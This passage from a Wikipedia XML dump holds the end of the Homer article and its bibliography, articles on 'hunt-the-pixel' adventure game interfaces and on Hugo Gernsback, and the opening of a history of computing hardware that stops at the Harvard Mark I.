The peculiar rapidity of Homer is due in great measure to his use of the [[hexameter]] verse. It is characteristic of early literature that the evolution of the thought, that is, the grammatical form of the sentence is guided by the structure of the verse; and the correspondence which consequently obtains between the rhythm and the grammar, the thought being given out in lengths, as it were, and these again divided by tolerably uniform pauses produces a swift flowing movement, such as is rarely found when the periods have been constructed without direct reference to the metre. That Homer possesses this rapidity without falling into the corresponding faults, that is, without becoming either jerky or monotonous, is perhaps the best proof of his unequalled poetical skill. The plainness and directness, both of thought and of expression, which characterize Homer were doubtless qualities of his age; But the author of the ''Iliad'' (like [[Voltaire]], to whom Arnold happily compares him) must have possessed this gift in a surpassing degree. The ''Odyssey'' is in this respect perceptibly below the level of the Iliad.

Rapidity or ease of movement, plainness of expression and plainness of thought, these are not the distinguishing qualities of the great epic poets, [[Virgil]], [[Dante]], [[Milton]]. On the contrary, they belong rather to the humbler epico-lyrical school for which Homer has been so often claimed. The proof that Homer does not belong to that school, that his poetry is not in any true sense ballad-poetry is furnished by the higher artistic structure of his poems, and as regards style by the fourth of the qualities distinguished by Arnold, the quality of nobleness. It is his noble and powerlul style, sustained through every change of idea and subject, that finally separates Homer from all forms of ballad-poetry and popular epic.

But while we are on our guard against a once common error, we may recognize the historical connection between the Iliad and Odyssey and the ballad literature which undoubtedly preceded them in Greece. It may even be admitted that the swift-flowing movement, and the simplicity of thought and style, which we admire in the Iliad are an inheritance from the earlier lays, such as Achilles and Patroclus sang to the lyre in their tent. Even the hexameter verse may be assigned to them. But between these lays and Homer we must place the cultivation of [[epic poetry]] as an art. The pre-Homeric lays doubtless furnished the elements of such a poetry, but they must have been refined and transmuted before they formed poems like the Iliad and Odyssey.

Like the French epics, such as the [[Chanson de Roland]], Homeric poetry is indigenous, and is distinguished by this fact, and by the ease of movement and the simplicity which result from it, from poets such as Virgil, Dante and Milton. It is also distinguished from them by the comparative absence of underlying motives or sentiment. In Virgil's poetry a sense of the greatness of [[Roman Empire|Rome]] and Italy is the leading motive of a passionate rhetoric, partly veiled by the chosen delicacy of his language. Dante and Milton are still more faithful exponents of the religion and politics of their time. Even the French epics are pervaded by the sentiment of fear and hatred of the [[Saracens]]. But in Homer the interest is purely dramatic. There is no strong antipathy of race or religion; the war turns on no political event; the capture of Troy lies outside the range of the Iliad. Even the heroes are not the chief national heroes of Greece. The interest lies wholly (so far as we can see) in the picture of human action and feeling.

==Historicity of the Iliad==
''See main article [[Historicity of the Iliad]].''

Another significant question regards the poems' possible historical basis. The commentaries on the ''Iliad'' and the ''Odyssey'' written in the [[Hellenistic]] period began exploring the textual inconsistencies of the poems. Modern classicists continue the tradition.

The excavations of [[Heinrich Schliemann]] in the late [[19th century]] began to convince scholars there was a historical basis for the [[Trojan War]]. Research (pioneered by the aforementioned Parry and Lord) into oral epics in [[Serbo-Croatian]] and [[Turkic languages]] began to convince scholars that long poems could be preserved with consistency by oral cultures until someone bothered to write them down. The [[decipherment]] of [[Linear B]] in the [[1950s]] by [[Michael Ventris]] and others, convinced scholars of a linguistic continuity between [[13th century BC]] [[Mycenae|Mycenaean]] writings and the poems attributed to Homer.



==References==
{{1911}}

==Selected Bibliography==
===Editions===
(texts in Homeric Greek)

*[[Wikisource:el:ΙΛΙΑΣ|Ilias in Wikisource]]
*[[Wikisource:el:ΟΔΥΣΣΕΙΑ|Odyssee in Wikisource]]
*[[Demetrius Chalcondylas]]  ''editio princeps'', Florence, [[1488]]
*the [[Aldine editions]] (1504 and 1517)
*Wolf (Halle, 1794-1795; Leipzig, 1804 1807)
*Spitzner (Gotha, 1832-1836)
*Bekker (Berlin, 1843; Bonn, 1858)
*La Roche (Odyssey, 1867-1868; Iliad, 1873-1876, both at Leipzig)
*Ludwich (Odyssey, Leipzig, 1889-1891; Iliad, 2 vols., 1901 and 1907)
*W. Leaf (Iliad, London, 1886-1888; 2nd ed. 1900-1902)
*Merry and Ridciell (Odyssey i.-xii., 2nd ed., Oxford, 1886)
*Monro (Odyssey xiii.-xxiv. with appendices, Oxford, 1901)
*Monro and Allen (Iliad), and Allen (Odyssey, 1908, Oxford).
*D.B. Monro and T.W. Allen  1917-1920, ''Homeri Opera'' (5 volumes: ''Iliad'' = 3rd edition, ''Odyssey'' = 2nd edition), Oxford. ISBN 0198145284, ISBN 0198145292, ISBN 0198145314, ISBN 0198145322, ISBN 0198145349
*H. van Thiel  1991, ''Homeri Odyssea'', Hildesheim. ISBN 3487094584 1996, ''Homeri Ilias'', Hildesheim. ISBN 3487094592
*M.L. West  1998-2000, ''Homeri Ilias'' (2 volumes), Munich/Leipzig. ISBN 3598714319, ISBN 3598714351
*P. von der Mühll 1993, ''Homeri Odyssea'', Munich/Leipzig. ISBN 3598714327

===English translations===

*[[Alexander Pope]] (1688&amp;ndash;1744)
**''The Iliad'' ([[1720]]). [http://www.gutenberg.org/etext/6130 Free eBook] at [[Project Gutenberg]]
**''The Odyssey'' ([[1725]]), The Heritage Press (1942) ASIN B000BAX1AK;  Easton Press (1978) ASIN B000BTSKL6; Wildside Press (2002) ISBN 1587156741. [http://www.gutenberg.org/etext/3160 Free eBook] at Project Gutenberg
*[[Samuel Butler]] (1835&amp;ndash;1902) 
**''The Iliad'', W.J. Black (1942) ASIN B0007HYRDM; AMS Press (1968) ASIN B0006C6IQ2 [http://www.gutenberg.org/etext/2199 Free eBook] at Project Gutenberg
**''The Odyssey'', W.J. Black (1944) ASIN B0007HYREQ ASIN B000BSH1OE; AMS Press (1968) ASIN B0006C6IPS; IndyPublish.com (2001) ISBN 1404322388 [http://www.gutenberg.org/etext/1727 Free eBook] at Project Gutenberg
*[[Andrew Lang]] (1844&amp;ndash;1912)
**''The Iliad'', Mcmillan (1918) ASIN B000BOG4PK;  Peter Smith Publisher Inc (1966) ISBN 0804901155. [http://www.gutenberg.org/etext/3059 Free eBook] at Project Gutenberg
**''The Odyssey'', with S.H. Butcher (1850-1910), Digireads.com (2005) ISBN 1420922424. [http://www.gutenberg.org/etext/3160 Free eBook] at Project Gutenberg.
*[[Richmond Lattimore]] (1906&amp;ndash;1984)
**''The Iliad of Homer'', University Of Chicago Press (1961) ISBN 0226469409
**''The Odyssey of Homer'', Harper Perennial Modern Classics, reprint edition (1999) ISBN 0060931957
*[[Martin Hammond]]
**''The Iliad: A New Prose Translation'', Penguin Classics (1988) ISBN 0140444440
**''Homer: The Odyssey'', Duckworth (2000) ISBN 0715629581
*[[Robert Fitzgerald]] (1910&amp;ndash;1985)
**''The Iliad'', Farrar, Straus and Giroux (2004) ISBN 0374529051
**''The Odyssey'',  Farrar, Straus and Giroux (1998) ISBN 0374525749
*W.H.D. Rouse, ''The Odyssey'', Signet Classics (1999) ISBN 0451527364
*[[Robert Fagles]] (b. 1933)
**''The Iliad'', Penguin Classics (1998) ISBN 0140275363
**''The Odyssey'', Penguin Classics (1999) ISBN 0140268863
*[[Stanley Lombardo]]
**''Iliad'', Hackett (1997) ISBN 0872203522
**''Odyssey'', Hackett (2000) ISBN 0872204847

===General works on Homer===

*I. Morris and B. Powell 1997, ''A New Companion to Homer'', Leiden. ISBN 9004099891
*Robert Fowler (ed.), ''The Cambridge Companion to Homer'', CUP, Cambridge 2004. ISBN 0521012465
*A.J.B. Wace and F.H. Stubbings 1962, ''A Companion to Homer'', London. ISBN 0333071131

===Influential readings and interpretations===

*E. Auerbach 1953, ''Mimesis'', Princeton (orig. publ. in German, 1946, Bern), chapter 1. ISBN 069111336X
*M.W. Edwards 1987, ''Homer, Poet of the Iliad'', Baltimore. ISBN 0801833299
*B. Fenik 1974, ''Studies in the Odyssey'', Wiesbaden ('Hermes' Einzelschriften 30).
*I.J.F. de Jong 1987, ''Narrators and Focalizers'', Amsterdam/Bristol. ISBN 1853996580
*G. Nagy 1979, ''The Best of the Achaeans'', Baltimore. ISBN 0801860156

===Commentaries===

*''Iliad'':
**P.V. Jones (ed.) 2003, ''Homer's Iliad. A Commentary on Three Translations'', London. ISBN 1853996572
**G.S. Kirk (gen. ed.) 1985-1993, ''The Iliad: A Commentary'' (6 volumes), Cambridge. ISBN 0521281717, ISBN 0521281725, ISBN 0521281733, ISBN 0521281741, ISBN 0521312086, ISBN 0521312094
**J. Latacz (gen. ed.) 2002-, ''Homers Ilias. Gesamtkommentar. Auf der Grundlage der Ausgabe von Ameis-Hentze-Cauer (1868-1913)'' (2 volumes published so far, of an estimated 15), Munich/Leipzig. ISBN 3598743076, ISBN 3598743041
**N. Postlethwaite (ed.) 2000, ''Homer's Iliad: A Commentary on the Translation of Richmond Lattimore'', Exeter. ISBN 0859896846
**M.W. Willcock (ed.) 1976, ''A Companion to the Iliad'', Chicago. ISBN 0226898555
*''Odyssey'':
**A. Heubeck (gen. ed.) 1990-1993, ''A Commentary on Homer's Odyssey'' (3 volumes; orig. publ. 1981-1987 in Italian), Oxford. ISBN 0198147473, ISBN 0198721447, ISBN 0198149530
**P. Jones (ed.) 1988, ''Homer's Odyssey: A Commentary based on the English Translation of Richmond Lattimore'', Bristol. ISBN 1853990388
**I.J.F. de Jong (ed.) 2001, ''A Narratological Commentary on the Odyssey'', Cambridge. ISBN 0521468442

===Trends in Homeric scholarship===

====&quot;Classical&quot; analysis====

*A. Heubeck 1974, ''Die homerische Frage'', Darmstadt. ISBN 3534038649
*R. Merkelbach 1969, ''Untersuchungen zur Odyssee'' (2nd edition), Munich. ISBN 3406032427
*D. Page 1955, ''The Homeric Odyssey'', Oxford.
*U. von Wilamowitz-Möllendorff 1916, ''Die Ilias und Homer'', Berlin.
*F.A. Wolf 1795, ''Prolegomena ad Homerum'', Halle. Published in English translation 1988, Princeton. ISBN 0691102473

====Neoanalysis====

*M.E. Clark 1986, &quot;Neoanalysis: a bibliographical review,&quot; ''Classical World'' 79.6: 379-94.
*J. Griffin 1977, &quot;The epic cycle and the uniqueness of Homer,&quot; ''Journal of Hellenic Studies'' 97: 39-53.
*J.T. Kakridis 1949, ''Homeric Researches'', London. ISBN 0824077571
*W. Kullmann 1960, ''Die Quellen der Ilias (Troischer Sagenkreis)'', Wiesbaden. ISBN 3515002359

====Homer and oral tradition====

*E. Bakker 1997, ''Poetry in Speech: Orality and Homeric Discourse'', Ithaca NY. ISBN 0801432952
*J.M. Foley 1999, ''Homer's Traditional Art'', University Park PA. ISBN 0271018704
*G.S. Kirk 1976, ''Homer and the Oral Tradition'', Cambridge. ISBN 0521213096
*A.B. Lord 1960, ''The Singer of Tales'', Cambridge MA. ISBN 0674002830
*M. Parry 1971, ''The Making of Homeric Verse'', Oxford. ISBN 019520560X

===Dating the Homeric poems===

*R. Janko 1982, ''Homer, Hesiod and the Hymns'', Cambridge. ISBN 0521238692

==See also==
* [[Paliki, Homer's Ithaca]]

==External links==
{{Commons|Homeros}}
{{Wikisource_author}}
* [http://www.gpc.edu/~shale/humanities/literature/world_literature/homer.html Collection of Homer-related links]
[[Category:Homer|*]]
[[Category:Ancient Greek poets]]
[[Category:Blind people]]
[[Category:Greek literature]]


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  </page>
  <page>
    <title>Hunt-the-pixel</title>
    <id>13634</id>
    <revision>
      <id>32470262</id>
      <timestamp>2005-12-23T10:24:24Z</timestamp>
      <contributor>
        <ip>70.132.28.232</ip>
      </contributor>
      <text xml:space="preserve">'''Hunt-the-pixel''' (also ''pixel hunt'') is a term used to describe some [[computer game]] interfaces involving [[point and click]] with a [[computer mouse|mouse]]. The term is usually applied to [[adventure game]]s in which the primary difficulty with some portion of the game lies in finding an object on the screen. In some cases, the required object is quite small, and may be only a few [[pixel]]s in size. The player may not have the faintest idea what gizmo to look for, but often the game cannot progress without finding it. Players often apply the term to any game in which the gameplay is hindered by the frustrating task of determining precisely where on the screen to click.

Missed objects will not always lead to a dead end, but sometimes will offer just better alternative approaches to future puzzles, being thus something like [[Easter egg (virtual)|easter eggs]].

Some games made by [[Sierra Entertainment|Sierra On-Line]], including portions of the [[Space Quest]] and [[King's Quest]] series, have featured interfaces that at times required a hunt-the-pixel approach. One situation in [[LucasArts]]'s [[Indiana Jones and the Last Crusade: The Graphic Adventure|Indiana Jones and the Last Crusade]] computer game required the player to locate a particular book among several screens full of bookstacks. However, LucasArts games have the advantage of a status line indicating the object the cursor is currently over. Another remedy was to make essential objects flash, or some other method to make the element more visible against the benign background.

This phenomenon is analogous to the &quot;[[guess-the-verb]]&quot; gameplay used in some [[text adventure]]s.

==See also== 
* [[Where's Waldo?]]

[[Category:Computer and video game gameplay]]
[[category:Computer and video game culture]]
[[Category:Adventure games]]</text>
    </revision>
  </page>
  <page>
    <title>Hugo Gernsback</title>
    <id>13635</id>
    <revision>
      <id>39648606</id>
      <timestamp>2006-02-14T22:46:14Z</timestamp>
      <contributor>
        <ip>209.163.206.215</ip>
      </contributor>
      <text xml:space="preserve">'''Hugo Gernsback''' ([[August 16]] [[1884]] - [[August 19]] [[1967]]) was an [[inventor]] and [[magazine publisher]] who also wrote [[science fiction]] and whose publication included the first [[science fiction]] magazine. 

Born in [[Luxembourg]], Gernsback emigrated to the [[United States]] in [[1905]]. He married three times: to Rose Harvey in [[1906]], Dorothy Kantrowitz in [[1921]], and Mary Hancher in [[1951]]. In [[1925]], Hugo founded radio station WRNY and was involved in the first television broadcasts and is considered a pioneer in amateur radio. He died in [[New York City]].

Gernsback started the modern genre of [[science fiction]] by founding the first magazine dedicated to it, [[Amazing Stories]], in [[1926]]. He said he became interested in the concept after reading a translation of the work of [[Percival Lowell]] as a child. He also played a key role in starting [[Science Fiction Fandom]], by publishing the addresses of people who wrote letters to his magazines. In [[1929]], he lost ownership of his first magazines after a bankruptcy lawsuit. There is some debate about whether this process was genuine, manipulated by publisher [[Bernarr Macfadden]], or was a Gernsback scheme to begin another company.

Gernsback wrote some fiction, including the novel ''[[Ralph 124C 41+]]'' in [[1911]]. Though hugely influential at the time, and filled with numerous science fiction ideas, the plot, characters, and writing strike most modern readers as shallow and old fashioned.

The Science Fiction Achievement award, given to various works each year by vote of the members of the [[World Science Fiction Society]], is named the &quot;[[Hugo award|Hugo]]&quot; after him. He was one of [[1996]]'s inaugural inductees into the [[Science Fiction and Fantasy Hall of Fame]].

Before creating a literary genre, Gernsback was an entrepreneur in the electronics industry, importing radio parts from Europe to the United States and helping to popularize amateur &quot;wireless.&quot; In 1909, he founded the Wireless Association of America, which had 10,000 members within a year. The same year he also founded [[Modern Electrics]], the world's first magazine about electronics. In 1912, Gernsback said that he estimated 400,000 people in the U.S. were involved in [[amateur radio]].

He held 80 patents by the time he died.

See also:
* [[Science fiction editors]]

==External links==
*[http://www.hugogernsback.com/ ''Forecast'' -- posthumous issues and other material about Hugo Gernsback]
*[http://www.pbs.org/wgbh/amex/rescue/sfeature/wireless.html PBS Rescue at Sea], which contains information about Gernsback's role in early amateur radio

[[Category:1884 births|Gernsback, Hugo]]
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[[Category:Magazine publishers (people)|Gernsback, Hugo]]
[[Category:People from Luxembourg|Gernsback, Hugo]]
[[Category:Science fiction editors|Gernsback, Hugo]]
[[Category:Science fiction writers|Gernsback, Hugo]]

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[[sv:Hugo Gernsback]]</text>
    </revision>
  </page>
  <page>
    <title>History of computing hardware</title>
    <id>13636</id>
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      <id>41752973</id>
      <timestamp>2006-03-01T14:20:43Z</timestamp>
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        <ip>194.226.192.200</ip>
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      <comment>+ ru</comment>
      <text xml:space="preserve">{{featured article}}
{{history of computing}}
'''Computing hardware''' has been an essential component of the process of calculation and [[data storage]] since it became useful for numerical values to be processed and shared.  The earliest computing hardware was probably some form of [[tally stick]]; later recording devices include the [[Phoenicia]]n [[clay]] shapes which represented counts of items, probably livestock or grains, in containers.  These seem to have been used by the [[merchant]]s, [[accountant]]s, and [[government official]]s of the time.  

Devices to aid computation have evolved from simple recording and counting devices through the [[abacus]], the [[slide rule]], and more recent electronic [[computers]].  Even today, an experienced [[abacus]] user using a device designed hundreds of years ago can sometimes complete basic calculations more quickly than an unskilled person using an electronic [[calculator]] &amp;mdash; though for more complex calculations, computers out-perform even the most skilled human.

This article presents the major developments in the '''history of computing hardware''' and attempts to put them in context.  For a detailed timeline of events, see the [[Timeline of computing|computing timeline]] article.  The [[history of computing]] article is a related overview and treats methods intended for pen and paper, with or without the aid of tables.

== Earliest devices ==

[[Image:Abacus 6.png|right|framed|[[China|Chinese]] and others frustrated with counting on their fingers invented the [[Abacus]].]]

Humanity has used devices to aid in computation for millennia. One example is a device for establishing [[equality (mathematics)|equality]] by [[weight]]: the classic [[Weighing scale|scales]], later used to symbolize equality in justice. Another is simple [[enumeration]]: the checkered cloths of the counting houses served as simple [[data structures]] for enumerating stacks of coins, by weight. A more arithmetic-oriented machine is the [[abacus]]. One of the earliest machines of this type was the [[Chinese abacus]].

== First mechanical calculators ==
[[Image:Gears large.jpg|left|thumb|100px|[[Gears]] are at the heart of mechanical devices like the [[Curta calculator]].]]

In 1623 [[Wilhelm Schickard]] built the first mechanical calculator and thus became the father of the computing era. Since his machine used techniques such as cogs and gears first developed for clocks, it was also called a 'calculating clock'. It was put to practical use by his friend [[Johannes Kepler]], who revolutionized astronomy. 

Machines by [[Blaise Pascal]] (the [[Pascaline]], 1642) and [[Gottfried Leibniz|Gottfried Wilhelm von Leibniz]] (1671) followed.  Around 1820, [[Charles Xavier Thomas]] created the first successful, mass-produced mechanical calculator, the Thomas Arithmometer, that could add, subtract, multiply, and divide.  It was mainly based on Leibniz's work.  Mechanical calculators, like the base-ten [[addiator]], the [[comptometer]], the [[Monroe calculator|Monroe]], the [[Curta]] and the [[Addo-X]] remained in use until the 1970s.

[[Image:Mechanical-Calculator.png|thumb|right|Mechanical calculator from 1914]]

[[Leibniz]] also described the [[binary numeral system]], a central ingredient of all modern computers. However, up to the 1940s, many subsequent designs (including [[Charles Babbage]]'s machines of the 1800s and even [[ENIAC]] of 1945) were based on the harder-to-implement decimal system.


[[Image:Pocket slide rule.jpg|left|thumb|250px|The [[slide rule]], a basic mechanical calculator, facilitates multiplication and division.]]

[[John Napier]] noted that [[multiplication]] and [[division (mathematics)|division]] of numbers can be performed by [[addition]] and [[subtraction]], respectively, of [[logarithms]] of those numbers. Since these [[real number]]s can be represented as [[distance]]s or [[interval (mathematics)|intervals]] on a line, the [[slide rule]] allowed multiplication and division operations to be carried significantly faster than was previously possible. Slide rules were used by generations of engineers and other mathematically inclined professional workers, until the invention of the [[pocket calculator]]. The engineers in the [[Apollo program]] to send a man to the [[moon]] made many of their calculations on slide rules, which were accurate to 3 or 4 [[significant figure]]s.


While producing the first logarithmic tables Napier needed to perform many multiplications and it was at this point that he designed [[Napier's bones]].

==1801: punched card technology ==

In [[1801]], [[Joseph Marie Jacquard|Joseph-Marie Jacquard]] developed a [[loom]] in which the pattern being woven was controlled by [[punched cards]].  The series of cards could be changed without changing the mechanical design of the loom.  This was a landmark point in programmability.  

[[Image:Hollerith.jpg|right|framed|[[Herman Hollerith]] invented a tabulating machine using [[punch cards]] in the [[1880s]].]]

In [[1833]], [[Charles Babbage]] moved on from developing his [[difference engine]] to developing a more complete design, the [[analytical engine]] which would draw directly on Jacquard's punch cards for its programming.

In [[1890]] the [[United States Census Bureau]] used [[punch card]]s and sorting machines designed by [[Herman Hollerith]] to handle the flood of data from the decennial [[census]] mandated by the [[United States Constitution|Constitution]]. Hollerith's company eventually became the core of [[International Business Machines|IBM]].  IBM developed punch card technology into a powerful tool for business data processing and produced an extensive line of specialized [[unit record equipment]]. By [[1950]] the IBM card had become ubiquitous in industry and government. The warning printed on most cards, &quot;Do not fold, spindle or mutilate,&quot; became a motto for the post-[[World War II]] era.

[[Leslie Comrie]]'s articles on punch card methods and [[W.J. Eckert]]'s publication of ''Punched Card Methods in Scientific Computation'' in [[1940]], described techniques which were sufficiently advanced to solve differential equations, perform multiplication and division using floating point representations, all on punched cards and [[plug-board]]s similar to those used by telephone operators. The [[Thomas J. Watson Astronomical Computing Bureau]], [[Columbia University]] performed astronomical calculations representing the state of the art in [[computing]].

In many computer installations, punched cards were used until (and after) the end of the [[1970s]]. For example, science and engineering students at many universities around the world would submit their programming assignments to the local computer centre in the form of a stack of cards, one card per program line, and then had to wait for the program to be queued for processing, compiled, and executed.  In due course a printout of any results, marked with the submitter's identification, would be placed in an output tray outside the computer center.  In many cases these results would comprise solely a printout of error messages regarding program syntax ''etc.'', necessitating another [[Code and fix|edit-compile-run cycle]].

Punched cards are still used and manufactured in the current century, and their distinctive dimensions (and 80-column capacity) can still be recognised in forms, records, and programs around the world.

== 1835&amp;ndash;1900s: first programmable machines ==

The defining feature of a &quot;[[Turing machine|universal computer]]&quot; is [[computer programming|programmability]], which allows the computer to emulate any other calculating machine by changing a stored sequence of instructions.

In [[1835]] [[Charles Babbage]] described his [[analytical engine]]. It was the plan of a general-purpose programmable computer, employing punch cards for input and a steam engine for power.  One crucial invention was to use gears for the function served by the beads of an abacus.  In a real sense, computers all contain automatic abacuses (technically called the [[ALU]] or [[floating-point unit]]).

His initial idea was to use punch-cards to control a machine that could calculate and print logarithmic tables with huge precision (a specific purpose machine). Babbage's idea soon developed into a general-purpose programmable computer, his analytical engine.

While his design was sound and the plans were probably correct, or at least [[Debug| debuggable]], the project was slowed by various problems. Babbage was a difficult man to work with and argued with anyone who didn´t respect his ideas. All the parts for his machine had to be made by hand and small errors in each item were summed up as huge discrepancies in a machine with thousands of parts.  The project dissolved over disputes with the artisan who built parts and was ended with the depletion of government funding. 

[[Ada Lovelace]], [[George Gordon Byron, 6th Baron Byron|Lord Byron]]'s daughter, translated and added notes to the &quot;[[Sketch of the Analytical Engine]]&quot; by [[Federico Luigi, Conte Menabrea]]. She has become closely associated with Babbage. Some claim she is the world's first computer programmer, however this claim and the value of her other contributions are disputed by many. 

A reconstruction of the [[Difference Engine]] II, an earlier, more limited design, has been operational since [[1991]] at the [[London Science Museum]].  With a few trivial changes, it works as Babbage designed it and shows that Babbage was right in theory. 

The museum used computer-operated machine tools to construct the necessary parts, following tolerances which a machinist of the period would have been able to achieve.  Some feel that the technology of the time was unable to produce parts of sufficient precision, though this appears to be false. The failure of Babbage to complete the engine can be chiefly attributed to difficulties not only related to politics and financing, but also to his desire to develop an increasingly sophisticated computer.  Today, many in the computer field term this sort of obsession ''[[creeping featuritis]]''.

Following in the footsteps of Babbage, although unaware of his earlier work, was [[Percy Ludgate]], an accountant from Dublin, Ireland.  He independently designed a programmable mechanical computer, which he described in a work that was published in [[1909]].

== 1800s&amp;ndash;1900s: limited mechanical computing==

By the [[1900s]] earlier mechanical calculators, cash registers, accounting machines, and so on were redesigned to use electric motors, with gear position as the representation for the state of a variable. Companies like [[Frieden]], [[Marchant]] and [[Monroe Calculator Company|Monroe]] made desktop mechanical [http://www.oldcalculatormuseum.com/fridenstw.html calculators] that could add, subtract, multiply and divide. The word &quot;computer&quot; was a job title assigned to people who used these calculators to perform mathematical calculations. During the [[Manhattan project]], future Nobel laureate [[Richard Feynman]] was the supervisor of the roomful of human computers, many of them women mathematicians, who understood the [[differential equations]] which were being solved for the war effort. Even the renowned [[Stanislaw Marcin Ulam]] was pressed into service to translate the mathematics into computable approximations for the [[hydrogen bomb]], after the war.

In [[1948]], the [[Curta calculator|Curta]] was introduced.  This was a small, portable, mechanical calculator that was about the size of a pepper grinder.  Over time, during the [[1950s]] and [[1960s]] a variety of different brands of mechanical calculator appeared on the market.  In [[1965]], [[Wang Laboratories]] introduced the first desktop electronic calculator, using discrete transistors. With development of the [[integrated circuit]]s and [[microprocessors]], the expensive, large calculators were soon replaced with smaller electronic devices.  To this day, there is an active calculator collector community that can be found on the Internet.

==Pre-1940 analog computers==

[[Image:Smithdiagramm0.PNG|right|thumb|150px|[[Nomogram]]s, like this [[Smith chart]] serve as analog computers for specific classes of problems.]]

Before [[World War II]], mechanical and electrical [[analog computer]]s were considered the 'state of the art', and many thought they were the future of computing. Analog computers use continuously varying amounts of physical quantities, such as voltages or currents, or the rotational speed of shafts, to represent the quantities being processed. An ingenious example of such a machine was the [[Water integrator]] built in [[1936]]. Unlike modern digital computers, analog computers are not very flexible, and need to be reconfigured (i.e., reprogrammed) manually to switch them from working on one problem to another. Analog computers had an advantage over early digital computers in that they could be used to solve complex problems while the earliest attempts at digital computers were quite limited.  But as digital computers have become faster and used larger memory (e.g., [[Random Access Memory|RAM]] or internal store), they have almost entirely displaced analog computers, and [[computer programming]], or [[coding]] has arisen as another human profession.
 
Since computers were rare in this era, the solutions were often ''hard-coded'' into paper forms such as [[graphs]] and [[nomogram]]s, which could then allow analog solutions to problems, such as the distribution of pressures and temperatures in a heating system.

Some of the most widely deployed analog computers included devices for aiming weapons, such as the [[Norden bombsight]] and artillery aiming computers for battleships.  Some of these stayed in use for decades after WWII.

Hybrid analog computers, controlled by digital electronics, remained in substantial use into the 1950's and 1960's, and later in some specialised applications.

== 1940s: first electrical digital computers ==
The era of modern computing began with a flurry of development before and during [[World War II]], as [[electronics|electronic]] [[electrical network|circuit]]s, [[relay]]s, [[capacitor]]s and [[vacuum tube]]s replaced mechanical equivalents and digital calculations replaced analog calculations. The computers designed and constructed then have sometimes been called 'first generation' computers.  First generation computers such as the [[Atanasoff_Berry_Computer]], [[Z3]] and [[Colossus_computer|Colossus]] were built by hand using circuits containing relays or vacuum valves (tubes), and often used [[punch card|punched card]]s or [[punched tape|punched paper tape]] for input and as the main (non-volatile) storage medium.  Temporary, or working storage, was provided by [[acoustic delay line]]s (which use the propagation time of sound in a medium such as wire to store data) or by [[Williams tube]]s (which use the ability of a television picture tube to store and retrieve data).  By 1954, [[magnetic core memory]] was rapidly displacing most other forms of temporary storage, and dominated the field through the mid-[[1970s]].  

In this era, a number of different machines were produced with steadily advancing capabilities.  At the beginning of this period, nothing remotely resembling a modern computer existed, except in the long-lost plans of Charles Babbage and the mathematical musings of [[Alan Turing]] and others.  At the end of the era, devices like the [[EDSAC]] had been built, and are universally agreed to be the first digital computers.  Defining a single point in the series as the &quot;first computer&quot; misses many subtleties.

[[Alan Turing]]'s [[1936]] paper has proved enormously influential in computing and [[computer science]] in two ways.  Its main purpose was an elegant proof that there were problems (namely the [[halting problem]]) that could not be solved by a mechanical process (a computer).  In doing so, however, Turing provided a definition of what a universal computer is: a construct called the [[Turing machine]], a purely theoretical device invented to formalize the notion of [[algorithm]] execution, replacing [[Kurt Gödel]]'s more cumbersome universal language based on arithmetics.  Modern computers are [[Turing-complete]] (i.e., equivalent algorithm execution capability to a universal Turing machine), except for their finite memory. This limited type of Turing completeness is sometimes viewed as a threshold capability separating general-purpose computers from their special-purpose predecessors.

However, as will be seen, ''theoretical'' Turing-completeness is a long way from a practical universal computing device.  To be a practical general-purpose computer, there must be some convenient way to input new programs into the computer, such as punched tape.  For full versatility, the [[Von Neumann architecture]] uses the same memory both to store programs and data; virtually all contemporary computers use this architecture (or some variant).  Finally, while it is theoretically possible to implement a full computer entirely mechanically (as Babbage's design showed), electronics made possible the speed and later the miniaturization that characterises modern computers.

There were three parallel streams of computer development in the World War II era, and two were either largely ignored or were deliberately kept secret.  The first was the German work of [[Konrad Zuse]].  The second was the secret development of the [[Colossus computer]] in the UK.  Neither of these had much influence on the various computing projects in the United States. After the war, British and American computing researchers cooperated on some of the most important steps towards a practical computing device.

===American developments===

In [[1937]], [[Claude Shannon]] produced his master's thesis at [[Massachusetts Institute of Technology|MIT]] that implemented [[Boolean algebra]] using electronic relays and switches for the first time in history. Entitled ''[[A Symbolic Analysis of Relay and Switching Circuits]]'', Shannon's thesis essentially founded practical [[digital circuit]] design. 

In November of [[1937]], [[George Stibitz]], then working at [[Bell Labs]], completed a relay-based computer he dubbed the &quot;Model K&quot; (for &quot;&lt;b&gt;k&lt;/b&gt;itchen&quot;, where he had assembled it), which calculated using binary addition.  Bell Labs thus authorized a full research program in late [[1938]] with Stibitz at the helm.  Their [[Complex Number Calculator]], completed [[January 8]], [[1940]], was able to calculate [[complex numbers]].  In a demonstration to the [[American Mathematical Society]] conference at [[Dartmouth College]] on [[September 11]], [[1940]], Stibitz was able to send the Complex Number Calculator remote commands over telephone lines by a [[teletype]]. It was the first computing machine ever used remotely over a phone line.  Some participants of the conference who witnessed the demonstration were [[John Von Neumann]],  [[John Mauchly]], and [[Norbert Wiener]], who wrote about it in his memoirs.

In [[1938]] [[John Vincent Atanasoff]] and [[Clifford E. Berry]] of Iowa State University developed the [[Atanasoff Berry Computer]] (ABC), a special purpose electronic computer for solving systems of linear equations.  The design used over 300 vacuum tubes for high speed and employed capacitors fixed in a mechanically rotating drum for memory.  Though the ABC machine was not programmable, it was the first modern computer in several other respects, including the first to use binary math and electronic circuits.  [[ENIAC]] co-inventor [[John Mauchly]] visited the ABC while it was still under construction in June 1941, and its influence over the design of the [[ENIAC]] is a matter of contention among computer historians.  The ABC was largely forgotten until it became the focus of the lawsuit [[Honeywell v. Sperry Rand]], which invalidated the [[ENIAC]] patent.

In [[1939]], development began at IBM's Endicott laboratories on the [[Harvard Mark I]]. Known officially as the Automatic Sequence Controlled Calculator, the Mark I was a general purpose electro-mechanical computer built with IBM financing and with assistance from some IBM personnel under the direction of [[Harvard]] mathematician [[Howard Aiken]].  Its design was influenced by the Analytical Engine. It was a decimal machine which used storage wheels and rotary switches in addition to electromagnetic relays.  It was programmable by punched paper tape, and contained several calculators working in parallel.  Later models contained several paper tape readers and the machine could switch between readers based on a condition. Nevertheless, this does not quite make the machine Turing-complete.  The Mark I was moved to [[Harvard University]] to begin operation in May [[1944]]. 

[[Image:Eniac.jpg|right|thumb|200px|[[ENIAC]] performed ballistics trajectory calculations with 160kW of power.]]

